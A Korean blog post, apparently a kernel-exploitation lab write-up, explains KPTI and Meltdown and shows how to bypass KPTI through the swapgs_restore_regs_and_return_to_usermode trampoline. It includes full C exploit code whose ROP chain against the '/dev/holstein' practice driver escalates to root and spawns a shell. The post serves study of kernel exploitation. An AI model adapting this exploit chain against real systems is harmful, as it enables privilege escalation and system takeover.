KPTI는 유저영역에는 없는 보호기법이다. 이 보호기법은 Meltdown 공격을 막기 위해 만들어졌다.
Meltdown 공격
CPU가 유저 영역에서 커널 메모리를 실행하다가, 커널 메모리를 읽을 수 있는 조건이 발생하면mov rax, [kernel address]같은 명령어로 커널 메모리를 읽는다. Supervisor 비트때문에 에러가 발생하지만 CPU는 이미 읽어버린 메모리를 캐시에 남겨버려서 커널 메모리 유출이 가능하다.
간단하게 커널 <-> 유저 영역의 주소 매핑을 완전히 분리하는 보호기법이다. 유저 영역에서 커널 페이지를 제거해서 커널 주소 유출을 막기 때문에, 유저 영역에서 커널 영역으로 넘어갈 때 추가적인 처리가 필요하다.
CR3 레지스터를 사용해서 페이지 테이블을 전환한다.
※ 아래 글에서 이어진다.
https://velog.io/@d0razi/KROP-Bypass-SMEP
run.sh 파일 내용 중 -append 옵션에서 nopti를 제거해주고, -cpu를 kvm64로 변경해줬다.
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nokaslr" \
-no-reboot \
-cpu kvm64,+smep \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user \
-s
만약 -cpu가 qemu64면, nopti를 제거해도 보호기법이 적용되지 않는다.
이전에 사용했던 페이로드를 그대로 실행해보면 Segmentation fault 가 발생하는 것을 볼 수 있다.

디버깅을 해보면 0x401775 까지는 정상적으로 진행이 되는데, 해당 주소에서 진행을 하는 순간 이상한 주소로 이동한다.

이런 현상이 발생하는 이유는 영역 전환 시 CR3 레지스터를 사용하여 페이지 디렉토리를 변경해줘야 하지만, 해당 과정 없이 유저 공간 주소를 실행하려 했기 때문이다.
즉, 유저 공간 주소가 매핑되지 않은 상태에서 해당 주소를 실행하니 에러가 발생한 것이다.
가장 간단한 우회법은 swapgs_restore_regs_and_return_to_usermode() 함수를 사용하는 것이다.
해당 함수는 커널 영역과 유저 영역 간 전환이 발생할 때 사용되는 함수이기 때문에 무조건 존재할 수 밖에 없다.

해당 함수의 전체 코드를 보면 아래와 같다(jmp 명령어 적용).
gef> x/70i 0xffffffff81800e10
0xffffffff81800e10: pop r15
0xffffffff81800e12: pop r14
0xffffffff81800e14: pop r13
0xffffffff81800e16: pop r12
0xffffffff81800e18: pop rbp
0xffffffff81800e19: pop rbx
0xffffffff81800e1a: pop r11
0xffffffff81800e1c: pop r10
0xffffffff81800e1e: pop r9
0xffffffff81800e20: pop r8
0xffffffff81800e22: pop rax
0xffffffff81800e23: pop rcx
0xffffffff81800e24: pop rdx
0xffffffff81800e25: pop rsi
0xffffffff81800e26: mov rdi,rsp
0xffffffff81800e29: mov rsp,QWORD PTR gs:0x6004
0xffffffff81800e32: push QWORD PTR [rdi+0x30]
0xffffffff81800e35: push QWORD PTR [rdi+0x28]
0xffffffff81800e38: push QWORD PTR [rdi+0x20]
0xffffffff81800e3b: push QWORD PTR [rdi+0x18]
0xffffffff81800e3e: push QWORD PTR [rdi+0x10]
0xffffffff81800e41: push QWORD PTR [rdi]
0xffffffff81800e43: push rax
0xffffffff81800e44: xchg ax,ax
0xffffffff81800e46: mov rdi,cr3
0xffffffff81800e49: jmp 0xffffffff81800e7f
•••
0xffffffff81800e7f: or rdi,0x1000
0xffffffff81800e86: mov cr3,rdi
0xffffffff81800e89: pop rax
0xffffffff81800e8a: pop rdi
0xffffffff81800e8b: swapgs
0xffffffff81800e8e: jmp 0xffffffff81800eb0
•••
0xffffffff81800eb0: test BYTE PTR [rsp+0x20],0x4
0xffffffff81800eb5: jne 0xffffffff81800eb9
0xffffffff81800eb7: iretq
우리는 커널 모드에서 유저 모드로 전환해줘야 하기 때문에 mov rdi, rsp 부분을 호출하면 된다.
mov rdi, rsp : 현재 커널 rsp를 rdi에 저장(백업)
mov rsp, QWORD PTR gs:0x6004 : 유저 모드 rsp를 GS에서 복원
커널 모드 -> 유저 모드 변경을 위해 준비하는 과정
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define commit_creds 0xffffffff8106e390;
#define prepare_kernel_cred 0xffffffff8106e240;
#define pop_rdi 0xffffffff8127bbdc;
#define mov_rdi_rax 0xffffffff8160c96b;
#define pop_rcx 0xffffffff8132cdd3;
#define swapgs 0xffffffff8160bf7e;
#define iretq 0xffffffff810202af;
#define trampoline 0xffffffff81800e26;
unsigned long user_ss, user_rsp, user_rflags, user_cs;
#define BUFFER_SIZE 0x400
void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
int main() {
save_state();
int fd = open("/dev/holstein", O_RDWR);
char buf[BUFFER_SIZE+0x100];
memset(buf, 'A', 0x408);
unsigned long *chain = (unsigned long*)&buf[0x408];
*chain++ = pop_rdi;
*chain++ = 0;
*chain++ = prepare_kernel_cred;
*chain++ = pop_rcx;
*chain++ = 0;
*chain++ = mov_rdi_rax;
*chain++ = commit_creds;
*chain++ = trampoline;
*chain++ = 0;
*chain++ = 0;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
write(fd, buf, 0x500);
close(fd);
}
commit_creds 직후 trampoline을 호출해서 유저 영역으로 돌아가기 전 페이지 변경을 해줬다.
trampoline 함수 호출 후에 0을 두번 더 넣어주는데, 아래에서 계속 설명한다.
trampoline 함수 호출 이후 0을 두번 넣어 주는 이유는 iretq 인자 개수를 맞춰주기 위함이다. 만약 0을 두개 넣어주지 않으면 아래 명령어 때문에 스택에 세팅한 인자들이 날라가서 커널 패닉이 발생하게 된다.
iretq 인자 순서
rip-cs-rflags-rsp-ss
0xffffffff81800e89: pop rax
0xffffffff81800e8a: pop rdi
더미 데이터 안 넣은 iretq 실행 전 스택

더미 데이터 넣은 iretq 실행 전 스택


유저 영역 익스플로잇을 공부할 때 보지 못했던 개념의 보호기법이라 이해하는데 생각보다 오랜 시간이 걸렸다. 사실 익스플로잇을 성공했음에도 개념을 완벽하게 이해는 못했지만 커널 작동 방식에 익숙해졌다는 것에 의의를 두려고 한다..
여러 커널 관련 글을 좀 찾아보니 페이지를 이용한 공격을 다룬 글을 몇개 봤었는데, 후에 해당 글들을 공부해보며 나중에 직접 공격에 활용할 수 있도록 더 완벽하게 이해하고 싶다.